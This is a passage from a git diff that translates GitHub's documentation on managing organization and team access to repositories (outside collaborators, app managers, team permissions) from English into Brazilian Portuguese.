+1. Em "Management" (Gerenciamento), encontre o nome de usuário da pessoa da qual deseja remover as permissões de gerente do {% data variables.product.prodname_github_app %} e clique em **Revoke** (Revogar). ![Revogue as permissões de gerente do {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/github-app-manager-revoke-permissions.png)
 
-## Removing a {% data variables.product.prodname_github_app %} manager's permissions for an individual {% data variables.product.prodname_github_app %}
+## Remover as permissões de gerente do {% data variables.product.prodname_github_app %} de um {% data variables.product.prodname_github_app %} individual
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.github-apps-settings-sidebar %}
-1. Under "{% data variables.product.prodname_github_apps %}", click on the avatar of the app you'd like to remove a {% data variables.product.prodname_github_app %} manager from.
-![Select {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png)
+1. Em "{% data variables.product.prodname_github_apps %}", clique no avatar do aplicativo do qual você deseja remover um gerente de {% data variables.product.prodname_github_app %}. ![Selecione {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/select-github-app.png)
 {% data reusables.organizations.app-managers-settings-sidebar %}
-1. Under "App managers", find the username of the person you want to remove {% data variables.product.prodname_github_app %} manager permissions from, and click **Revoke**.
-![Revoke {% data variables.product.prodname_github_app %} manager permissions](/assets/images/help/organizations/github-app-manager-revoke-permissions-individual-app.png)
+1. Em "App managers" (Gerentes do app), encontre o nome de usuário da pessoa da qual deseja remover as permissões de gerente do {% data variables.product.prodname_github_app %} e clique em **Revoke** (Revogar). ![Revogue as permissões de gerente do {% data variables.product.prodname_github_app %}](/assets/images/help/organizations/github-app-manager-revoke-permissions-individual-app.png)
 
 {% ifversion fpt or ghec %}
-## Further reading
+## Leia mais
 
-- "[About {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)"
+- "[Sobre o {% data variables.product.prodname_dotcom %} Marketplace](/articles/about-github-marketplace/)"
 {% endif %}
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md
index 3ea8d68c5d..37bd74681c 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/adding-outside-collaborators-to-repositories-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Adding outside collaborators to repositories in your organization
-intro: 'An *outside collaborator* is a person who isn''t explicitly a member of your organization, but who has Read, Write, or Admin permissions to one or more repositories in your organization.'
+title: Adicionar colaboradores externos a repositórios em sua organização
+intro: 'Um *colaborador externo* é uma pessoa que não é explicitamente um integrante da sua organização, mas que tem permissões de Gravação, Leitura ou de Administrador para um ou vários repositórios da organização.'
 redirect_from:
   - /articles/adding-outside-collaborators-to-repositories-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/adding-outside-collaborators-to-repositories-in-your-organization
@@ -12,46 +12,41 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Add outside collaborator
+shortTitle: Adicionar colaborador externo
 permissions: People with admin access to a repository can add an outside collaborator to the repository.
 ---
 
-## About outside collaborators
+## Sobre colaboradores externos
 
 {% data reusables.organizations.outside-collaborators-use-seats %}
 
-An organization owner can restrict the ability to invite collaborators. For more information, see "[Setting permissions for adding outside collaborators](/articles/setting-permissions-for-adding-outside-collaborators)."
+O proprietário da organização pode restringir a capacidade de convidar colaboradores. Para obter mais informações, consulte "[Configurar permissões para adicionar colaboradores externos](/articles/setting-permissions-for-adding-outside-collaborators)".
 
 {% ifversion ghes %}
-Before you can add someone as an outside collaborator on a repository, the person must have a user account on {% data variables.product.product_location %}. If your enterprise uses an external authentication system such as SAML or LDAP, the person you want to add must sign in through that system to create an account. If the person does not have access to the authentication system and built-in authentication is enabled for your enterprise, a site admin can create a user account for the person. For more information, see "[Using built-in authentication](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication#inviting-users)."
+Antes de adicionar alguém como colaborador externo em um repositório, a pessoa deve ter uma conta de usuário em {% data variables.product.product_location %}. Se a empresa usa um sistema de autenticação externa, como SAML ou LDAP, a pessoa que você deseja adicionar deverá efetuar o login por meio desse sistema para criar uma conta. Se a pessoa não tiver acesso ao sistema de autenticação e a autenticação integrada estiver habilitada para a sua empresa, um administrador do site poderá criar uma conta de usuário para a pessoa. Para obter mais informações, consulte "[Usar autenticação integrada](/admin/authentication/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication#inviting-users)".
 {% endif %}
 
 {% ifversion not ghae %}
-If your organization [requires members and outside collaborators to use two-factor authentication](/articles/requiring-two-factor-authentication-in-your-organization), they must enable two-factor authentication before they can accept your invitation to collaborate on an organization repository.
+Se sua organização [exigir que integrantes e colaboradores externos usem a autenticação de dois fatores](/articles/requiring-two-factor-authentication-in-your-organization), eles deverão habilitar a autenticação de dois fatores antes de aceitar seu convite para colaborar no repositório de uma organização.
 {% endif %}
 
 {% data reusables.organizations.outside_collaborator_forks %}
 
 {% ifversion fpt %}
-To further support your team's collaboration abilities, you can upgrade to {% data variables.product.prodname_ghe_cloud %}, which includes features like protected branches and code owners on private repositories. {% data reusables.enterprise.link-to-ghec-trial %}
+Para apoiar ainda mais as habilidades de colaboração da sua equipe, você pode fazer a atualização para {% data variables.product.prodname_ghe_cloud %}, que inclui funcionalidades como branches protegidos e proprietários de códigos em repositórios privados. {% data reusables.enterprise.link-to-ghec-trial %}
 {% endif %}
 
-## Adding outside collaborators to a repository
+## Adicionando colaboradores externos a um repositório
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% ifversion fpt or ghec %}
 {% data reusables.repositories.navigate-to-manage-access %}
 {% data reusables.organizations.invite-teams-or-people %}
-5. In the search field, start typing the name of person you want to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png)
-6. Under "Choose a role", select the permissions to grant to the person, then click **Add NAME to REPOSITORY**.
-  ![Selecting permissions for the person](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
+5. No campo de pesquisa, comece a digitar o nome da pessoa que deseja convidar e, em seguida, clique em um nome na lista de correspondências. ![Campo de pesquisa para digitar o nome de uma pessoa para convidar para o repositório](/assets/images/help/repository/manage-access-invite-search-field.png)
+6. Em "Escolher uma função", selecione as permissões a serem concedidas à pessoa e, em seguida, clique em **Adicionar NOME ao REPOSITÓRIO**. ![Selecionar permissões para a pessoa](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
 {% else %}
-5. In the left sidebar, click **Collaborators & teams**.
-  ![Repository settings sidebar with Collaborators & teams highlighted](/assets/images/help/repository/org-repo-settings-collaborators-and-teams.png)
-6. Under "Collaborators", type the name of the person you'd like to give access to the repository, then click **Add collaborator**.
-![The Collaborators section with the Octocat's username entered in the search field](/assets/images/help/repository/org-repo-collaborators-find-name.png)
-7. Next to the new collaborator's name, choose the appropriate permission level: *Write*, *Read*, or *Admin*.
-![The repository permissions picker](/assets/images/help/repository/org-repo-collaborators-choose-permissions.png)
+5. Na barra lateral esquerda, clique em **Collaborators & teams** (Colaboradores e equipes). ![Barra lateral de configurações do repositório com destaque para Collaborators & teams (Colaboradores e equipes)](/assets/images/help/repository/org-repo-settings-collaborators-and-teams.png)
+6. Em "Collaborators" (Colaboradores), digite o nome da pessoa à qual deseja conceder acesso ao repositório e clique em **Add collaborator** (Adicionar colaborador). ![A seção Collaborators (Colaboradores) com o nome de usuário Octocat inserido no campo de pesquisa](/assets/images/help/repository/org-repo-collaborators-find-name.png)
+7. Ao lado do nome do novo colaborador, escolha o nível de permissão apropriado: *Gravação*, *Leitura* ou *Administrador*. ![O selecionador de permissões do repositório](/assets/images/help/repository/org-repo-collaborators-choose-permissions.png)
 {% endif %}
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md
index 3440ab701d..e64f6a89dc 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-organization-member-to-an-outside-collaborator.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an organization member to an outside collaborator
-intro: 'If a current member of your organization only needs access to certain repositories, such as consultants or temporary employees, you can convert them to an *outside collaborator*.'
+title: Converter um integrante da organização em colaborador externo
+intro: 'Se um integrante atual da organização precisar de acesso apenas a determinados repositórios, como consultores ou funcionários temporários, você poderá convertê-lo em um *colaborador externo*.'
 redirect_from:
   - /articles/converting-an-organization-member-to-an-outside-collaborator
   - /github/setting-up-and-managing-organizations-and-teams/converting-an-organization-member-to-an-outside-collaborator
@@ -12,38 +12,35 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Convert member to collaborator
+shortTitle: Converter integrante em colaborador
 ---
 
-{% data reusables.organizations.owners-and-admins-can %} convert organization members into outside collaborators.
+{% data reusables.organizations.owners-and-admins-can %} converter integrantes da organização em colaboradores externos.
 
 {% data reusables.organizations.outside-collaborators-use-seats %} {% data reusables.organizations.outside_collaborator_forks %}
 
-After converting an organization member to an outside collaborator, they'll only have access to the repositories that their current team membership allows. The person will no longer be an explicit member of the organization, and will no longer be able to:
+Após conversão de um integrante da organização em um colaborador externo, ele só terá acesso aos repositórios que sua associação à equipe atual permitir. A pessoa não será mais um integrante explícito da organização e não poderá mais:
 
-- Create teams
-- See all organization members and teams
-- @mention any visible team
-- Be a team maintainer
+- Criar equipes
+- Ver todos os integrantes e equipes da organização
+- @mencionar qualquer equipe visível
+- Seja um mantenedor de equipe
 
-For more information, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
+Para obter mais informações, consulte "[Funções em uma organização](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)".
 
-We recommend reviewing the organization member's access to repositories to ensure their access is as you expect. For more information, see "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)."
+Recomendamos rever o acesso dos membros da organização aos repositórios para garantir que seu o acesso seja como você espera. Para obter mais informações, consulte "[Gerenciar o acesso de um indivíduo ao repositório de uma organização](/articles/managing-an-individual-s-access-to-an-organization-repository)".
 
-When you convert an organization member to an outside collaborator, their privileges as organization members are saved for three months so that you can restore their membership privileges if you{% ifversion fpt or ghec %} invite them to rejoin{% else %} add them back to{% endif %} your organization within that time frame. For more information, see "[Reinstating a former member of your organization](/articles/reinstating-a-former-member-of-your-organization)."
+Na conversão de um integrante da organização em um colaborador externo, os privilégios dele como integrante da organização ficam salvos por três meses para que seja possível restaurar os privilégios de associação se você{% ifversion fpt or ghec %}convidá-lo para reingressar{% else %} adicioná-lo de volta{% endif %} na organização dentro desse período. Para obter mais informações, consulte "[Restabelecer ex-integrantes da organização](/articles/reinstating-a-former-member-of-your-organization)".
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Select the person or people you'd like to convert to outside collaborators.
-  ![List of members with two members selected](/assets/images/help/teams/list-of-members-selected-bulk.png)
-5. Above the list of members, use the drop-down menu and click **Convert to outside collaborator**.
-  ![Drop-down menu with option to convert members to outside collaborators](/assets/images/help/teams/user-bulk-management-options.png)
-6. Read the information about converting members to outside collaborators, then click **Convert to outside collaborator**.
-  ![Information on outside collaborators permissions and Convert to outside collaborators button](/assets/images/help/teams/confirm-outside-collaborator-bulk.png)
+4. Selecione a(s) pessoa(s) que deseja converter em colaborador(es) externo(s). ![Lista de integrantes com dois integrantes selecionados](/assets/images/help/teams/list-of-members-selected-bulk.png)
+5. Acima da lista de integrantes, use o menu suspenso e clique em **Convert to outside collaborator** (Converter em colaborador externo). ![Menu suspenso com opção para converter integrantes em colaboradores externos](/assets/images/help/teams/user-bulk-management-options.png)
+6. Leia as informações sobre como converter integrantes em colaboradores externos e clique em **Convert to outside collaborator** (Converter em colaborador externo). ![Informações sobre permissões de colaboradores externos e botão Convert to outside collaborators (Converter em colaboradores externos)](/assets/images/help/teams/confirm-outside-collaborator-bulk.png)
 
-## Further reading
+## Leia mais
 
-- "[Adding outside collaborators to repositories in your organization](/articles/adding-outside-collaborators-to-repositories-in-your-organization)"
-- "[Removing an outside collaborator from an organization repository](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
-- "[Converting an outside collaborator to an organization member](/articles/converting-an-outside-collaborator-to-an-organization-member)"
+- "[Adicionar colaboradores externos a repositórios na sua organização](/articles/adding-outside-collaborators-to-repositories-in-your-organization)"
+- "[Remover um colaborador externo de um repositório da organização](/articles/removing-an-outside-collaborator-from-an-organization-repository)"
+- "[Converter um colaborador externo em um integrante da organização](/articles/converting-an-outside-collaborator-to-an-organization-member)"
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md
index 17c4566565..997a670b6e 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/converting-an-outside-collaborator-to-an-organization-member.md
@@ -1,6 +1,6 @@
 ---
-title: Converting an outside collaborator to an organization member
-intro: 'If you would like to give an outside collaborator on your organization''s repositories broader permissions within your organization, you can {% ifversion fpt or ghec %}invite them to become a member of{% else %}make them a member of{% endif %} the organization.'
+title: Remover um colaborador externo em integrante da organização
+intro: 'Se desejar fornecer a um colaborador externo nos repositórios da sua organização permissões mais amplas dentro da organização, você poderá {% ifversion fpt or ghec %}convidá-lo a se tornar um integrante{% else %}torná-lo um integrante{% endif %} da organização.'
 redirect_from:
   - /articles/converting-an-outside-collaborator-to-an-organization-member
   - /github/setting-up-and-managing-organizations-and-teams/converting-an-outside-collaborator-to-an-organization-member
@@ -13,13 +13,14 @@ permissions: 'Organization owners can {% ifversion fpt or ghec %}invite users to
 topics:
   - Organizations
   - Teams
-shortTitle: Convert collaborator to member
+shortTitle: Converter colaborador em integrante
 ---
+
 {% ifversion fpt or ghec %}
-If your organization is on a paid per-user subscription, an unused license must be available before you can invite a new member to join the organization or reinstate a former organization member. For more information, see "[About per-user pricing](/articles/about-per-user-pricing)." {% data reusables.organizations.org-invite-expiration %}{% endif %}
+Se a organização tiver uma assinatura paga por usuário, ela deverá ter uma licença não utilizada disponível para você poder convidar um integrante para participar da organização ou restabelecer um ex-integrante da organização. Para obter mais informações, consulte "[Sobre preços por usuário](/articles/about-per-user-pricing)". {% data reusables.organizations.org-invite-expiration %}{% endif %}
 
 {% ifversion not ghae %}
-If your organization [requires members to use two-factor authentication](/articles/requiring-two-factor-authentication-in-your-organization), users {% ifversion fpt or ghec %}you invite must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before they can accept the invitation.{% else %}must [enable two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa) before you can add them to the organization.{% endif %}
+Se sua organização [exigir integrantes, use a autenticação de dois fatores](/articles/requiring-two-factor-authentication-in-your-organization), os usuários {% ifversion fpt or ghec %}que você convidar devem [habilitar a autenticação de dois fatores](/articles/securing-your-account-with-two-factor-authentication-2fa) antes de aceitar o convite.{% else %}deve [habilitar a autenticação de dois fatores](/articles/securing-your-account-with-two-factor-authentication-2fa) antes que você possa adicioná-los à organização.{% endif %}
 {% endif %}
 
 {% data reusables.profile.access_org %}
@@ -27,9 +28,9 @@ If your organization [requires members to use two-factor authentication](/articl
 {% data reusables.organizations.people %}
 {% data reusables.organizations.people_tab_outside_collaborators %}
 {% ifversion fpt or ghec %}
-5. To the right of the name of the outside collaborator you want to become a member, use the {% octicon "gear" aria-label="The gear icon" %} drop-down menu and click **Invite to organization**.![Invite outside collaborators to organization](/assets/images/help/organizations/invite_outside_collaborator_to_organization.png)
+5. À direita do nome do colaborador externo que você deseja que se torne integrante, use o menu suspenso {% octicon "gear" aria-label="The gear icon" %} e clique em **Convidar para a organização**.![Convidar colaboradores externos para a organização](/assets/images/help/organizations/invite_outside_collaborator_to_organization.png)
 {% else %}
-5. To the right of the name of the outside collaborator you want to become a member, click **Invite to organization**.![Invite outside collaborators to organization](/assets/images/enterprise/orgs-and-teams/invite_outside_collabs_to_org.png)
+5. À direita do nome do colaborador externo que você deseja que se torne integrante, clique em **Invite to organization** (Convidar para a organização).![Convidar colaboradores externos para a organização](/assets/images/enterprise/orgs-and-teams/invite_outside_collabs_to_org.png)
 {% endif %}
 {% data reusables.organizations.choose-to-restore-privileges %}
 {% data reusables.organizations.choose-user-role-send-invitation %}
@@ -37,6 +38,6 @@ If your organization [requires members to use two-factor authentication](/articl
 {% data reusables.organizations.user_must_accept_invite_email %} {% data reusables.organizations.cancel_org_invite %}
 {% endif %}
 
-## Further reading
+## Leia mais
 
-- "[Converting an organization member to an outside collaborator](/articles/converting-an-organization-member-to-an-outside-collaborator)"
+- "[Converter um integrante da organização em colaborador externo](/articles/converting-an-organization-member-to-an-outside-collaborator)"
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/index.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/index.md
index 94a30b7368..a05ad5d040 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/index.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing access to your organization's repositories
-intro: Organization owners can manage individual and team access to the organization's repositories. Team maintainers can also manage a team's repository access.
+title: Gerenciar acessos aos repositórios da organização
+intro: Proprietários da organização podem gerenciar acessos individuais e de equipes aos repositórios da organização. Mantenedores de equipes também podem gerenciar o acesso ao repositório da equipe.
 redirect_from:
   - /articles/permission-levels-for-an-organization-repository
   - /articles/managing-access-to-your-organization-s-repositories
@@ -26,6 +26,6 @@ children:
   - /converting-an-organization-member-to-an-outside-collaborator
   - /converting-an-outside-collaborator-to-an-organization-member
   - /reinstating-a-former-outside-collaborators-access-to-your-organization
-shortTitle: Manage access to repositories
+shortTitle: Gerenciar acessos aos repositórios
 ---
 
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
index 4e2c599dd2..195ee93f9a 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-an-individuals-access-to-an-organization-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing an individual's access to an organization repository
-intro: You can manage a person's access to a repository owned by your organization.
+title: Gerenciar o acesso de um indivíduo a um repositório da organização
+intro: Você pode gerenciar o acesso de uma pessoa ao repositório de sua organização.
 redirect_from:
   - /articles/managing-an-individual-s-access-to-an-organization-repository-early-access-program
   - /articles/managing-an-individual-s-access-to-an-organization-repository
@@ -14,41 +14,36 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage individual access
+shortTitle: Gerenciar acesso individual
 permissions: People with admin access to a repository can manage access to the repository.
 ---
 
-## About access to organization repositories
+## Sobre acesso aos repositórios da organização
 
-When you remove a collaborator from a repository in your organization, the collaborator loses read and write access to the repository. If the repository is private and the collaborator has forked the repository, then their fork is also deleted, but the collaborator will still retain any local clones of your repository.
+Ao remover um colaborador de um repositório de sua organização, o colaborador perde os acessos de leitura e gravação no repositório. Caso o repositório seja privado e o colaborador o tenha bifurcado, a bifurcação também é excluída, mas o colaborador ainda manterá quaisquer clones locais de seu repositório.
 
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
-## Giving a person access to a repository
+## Concedendo acesso a uma pessoa a um repositório
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.repositories.navigate-to-manage-access %}
 {% data reusables.organizations.invite-teams-or-people %}
-5. In the search field, start typing the name of the person to invite, then click a name in the list of matches.
-  ![Search field for typing the name of a team or person to invite to the repository](/assets/images/help/repository/manage-access-invite-search-field.png)
-6. Under "Choose a role", select the repository role to assign the person, then click **Add NAME to REPOSITORY**.
-  ![Selecting permissions for the team or person](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
+5. No campo de busca, comece a digitar o nome da pessoa para convidar e, em seguida, clique em um nome na lista de correspondências. ![Campo de pesquisa para digitar o nome de uma equipe ou pessoa para convidar ao repositório](/assets/images/help/repository/manage-access-invite-search-field.png)
+6. Em "Escolher uma função ", selecione a função do repositório para atribuir a pessoa e, em seguida, clique em **Adicionar NOME ao REPOSITÓRIO**. ![Selecionando permissões para a equipe ou pessoa](/assets/images/help/repository/manage-access-invite-choose-role-add.png)
 
-## Managing an individual's access to an organization repository
+## Gerenciar o acesso de um indivíduo a um repositório da organização
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.people %}
-4. Click either **Members** or **Outside collaborators** to manage people with different types of access. ![Button to invite members or outside collaborators to an organization](/assets/images/help/organizations/select-outside-collaborators.png)
-5. To the right of the name of the person you'd like to manage, use the {% octicon "gear" aria-label="The Settings gear" %} drop-down menu, and click **Manage**.
-  ![The manage access link](/assets/images/help/organizations/member-manage-access.png)
-6. On the "Manage access" page, next to the repository, click **Manage access**.
-![Manage access button for a repository](/assets/images/help/organizations/repository-manage-access.png)
-7. Review the person's access to a given repository, such as whether they're a collaborator or have access to the repository via team membership.
-![Repository access matrix for the user](/assets/images/help/organizations/repository-access-matrix-for-user.png)
+4. Cloque em **Members** (Integrantes) ou **Outside collaborators** (Colaboradores externos) para gerenciar pessoas com tipos diferentes de acessos. ![Botão para invite (convidar) members (colaboradores) ou outside collaborators (colaboradores externos) para uma organização](/assets/images/help/organizations/select-outside-collaborators.png)
+5. À direita do nome do colaborador que deseja remover, use o menu suspenso {% octicon "gear" aria-label="The Settings gear" %} e clique em **Manage** (Gerenciar). ![Link para manage access (gerenciar acesso)](/assets/images/help/organizations/member-manage-access.png)
+6. Na página "Manage access" (Gerenciar acesso), ao lado do repositório clique em **Manage access** (Gerenciar acesso). ![Botão Manage access (Gerenciar acesso) em um repositório](/assets/images/help/organizations/repository-manage-access.png)
+7. Revise o acesso da pessoa em determinado repositório, por exemplo, se a pessoa é um colaborador ou tem acesso ao repositório como integrante de equipe. ![Matriz de acesso a repositório para o usuário](/assets/images/help/organizations/repository-access-matrix-for-user.png)
 
-## Further reading
+## Leia mais
 
-{% ifversion fpt or ghec %}- "[Limiting interactions with your repository](/articles/limiting-interactions-with-your-repository)"{% endif %}
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+{% ifversion fpt or ghec %}- "[Restringir interações no repositório](/articles/limiting-interactions-with-your-repository)"{% endif %}
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
index 51d2c0a079..f26aeceb84 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Managing team access to an organization repository
-intro: 'You can give a team access to a repository, remove a team''s access to a repository, or change a team''s permission level for a repository.'
+title: Gerenciar o acesso da equipe em um repositório da organização
+intro: Você pode conceder e remover o acesso da equipe a um repositório ou mudar o nível de permissão dela no repositório.
 redirect_from:
   - /articles/managing-team-access-to-an-organization-repository-early-access-program
   - /articles/managing-team-access-to-an-organization-repository
@@ -13,35 +13,32 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Manage team access
+shortTitle: Gerenciar acesso de equipe
 ---
 
-People with admin access to a repository can manage team access to the repository. Team maintainers can remove a team's access to a repository.
+Pessoas com acesso de administrador a um repositório podem gerenciar o acesso de equipes ao repositório. Mantenedores de equipes podem remover o acesso de uma equipe a um repositório.
 
 {% warning %}
 
-**Warnings:**
-- You can change a team's permission level if the team has direct access to a repository. If the team's access to the repository is inherited from a parent team, you must change the parent team's access to the repository.
-- If you add or remove repository access for a parent team, each of that parent's child teams will also receive or lose access to the repository. For more information, see "[About teams](/articles/about-teams)."
+**Avisos:**
+- Você pode alterar os níveis de permissões de uma equipe se a equipe tiver acesso direto a um repositório. Se o acesso da equipe ao repositório é herança de uma equipe principal, você deve alterar o acesso da equipe principal ao repositório.
+- Se você adicionar ou remover acesso de uma equipe principal ao repositório, cada uma das equipes secundárias da equipe principal também receberá ou perderá o acesso ao repositório. Para obter mais informações, consulte "[Sobre equipes](/articles/about-teams)".
 
 {% endwarning %}
 
-## Giving a team access to a repository
+## Conceder a uma equipe acesso a um repositório
 
 {% data reusables.profile.access_org %}
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team-repositories-tab %}
-5. Above the list of repositories, click **Add repository**.
-  ![The Add repository button](/assets/images/help/organizations/add-repositories-button.png)
-6. Type the name of a repository, then click **Add repository to team**.
-  ![Repository search field](/assets/images/help/organizations/team-repositories-add.png)
-7. Optionally, to the right of the repository name, use the drop-down menu and choose a different permission level for the team.
-  ![Repository access level dropdown](/assets/images/help/organizations/team-repositories-change-permission-level.png)
+5. Acima da lista de repositórios, clique em **Add repository** (Adicionar repositório). ![Botão Add repository (Adicionar repositório)](/assets/images/help/organizations/add-repositories-button.png)
+6. Digite o nome de um repositório e clique em **Add repository to team** (Adicionar repositório a uma equipe). ![Campo de pesquisa Repository (Repositório)](/assets/images/help/organizations/team-repositories-add.png)
+7. Como opção, use o menu suspenso à direita do nome do repositório e escolha um nível de permissão diferente para a equipe. ![Menu suspenso Repository access level (Nível de acesso ao repositório)](/assets/images/help/organizations/team-repositories-change-permission-level.png)
 
-## Removing a team's access to a repository
+## Remover acesso de uma equipe a um repositório
 
-You can remove a team's access to a repository if the team has direct access to a repository. If a team's access to the repository is inherited from a parent team, you must remove the repository from the parent team in order to remove the repository from child teams.
+Você pode remover o acesso de uma equipe a um repositório se a equipe tiver acesso direto a ele. Se o acesso da equipe ao repositório é herdado de uma equipe principal, você deve remover o repositório da equipe principal para remover o repositório das equipes secundárias.
 
 {% data reusables.repositories.deleted_forks_from_private_repositories_warning %}
 
@@ -49,13 +46,10 @@ You can remove a team's access to a repository if the team has direct access to
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team-repositories-tab %}
-5. Select the repository or repositories you'd like to remove from the team.
-  ![List of team repositories with the checkboxes for some repositories selected](/assets/images/help/teams/select-team-repositories-bulk.png)
-6. Above the list of repositories, use the drop-down menu, and click **Remove from team**.
-  ![Drop-down menu with the option to remove a repository from a team](/assets/images/help/teams/remove-team-repo-dropdown.png)
-7. Review the repository or repositories that will be removed from the team, then click **Remove repositories**.
-  ![Modal box with a list of repositories that the team will no longer have access to](/assets/images/help/teams/confirm-remove-team-repos.png)
+5. Selecione o repositório ou repositórios que deseja remover da equipe. ![Lista de repositórios de equipes com as caixas de seleção para alguns repositórios selecionadas](/assets/images/help/teams/select-team-repositories-bulk.png)
+6. Acesse o menu suspenso acima da lista de repositórios e clique em **Remove from team** (Remover da equipe). ![Menu suspenso com a opção para Remove a repository from a team (Remover um repositório de uma equipe)](/assets/images/help/teams/remove-team-repo-dropdown.png)
+7. Verifique o repositório ou repositórios que serão removidos da equipe e clique em **Remove repositories** (Remover repositórios). ![Caixa modal com uma lista de repositórios que a equipe não terá mais acesso](/assets/images/help/teams/confirm-remove-team-repos.png)
 
-## Further reading
+## Leia mais
 
-- "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
+- "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md
index 2e0fb1830b..cb9d32b649 100644
--- a/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md
+++ b/translations/pt-BR/content/organizations/managing-access-to-your-organizations-repositories/reinstating-a-former-outside-collaborators-access-to-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Reinstating a former outside collaborator's access to your organization
-intro: 'You can reinstate a former outside collaborator''s access permissions for organization repositories, forks, and settings.'
+title: Restabelecer o acesso de um ex-colaborador externo à organização
+intro: 'É possível restabelecer as permissões de acesso de um ex-colaborador externo para repositórios, forks e configurações da organização.'
 redirect_from:
   - /articles/reinstating-a-former-outside-collaborator-s-access-to-your-organization
   - /articles/reinstating-a-former-outside-collaborators-access-to-your-organization
@@ -13,29 +13,29 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Reinstate collaborator
+shortTitle: Restabelecer colaborador
 ---
 
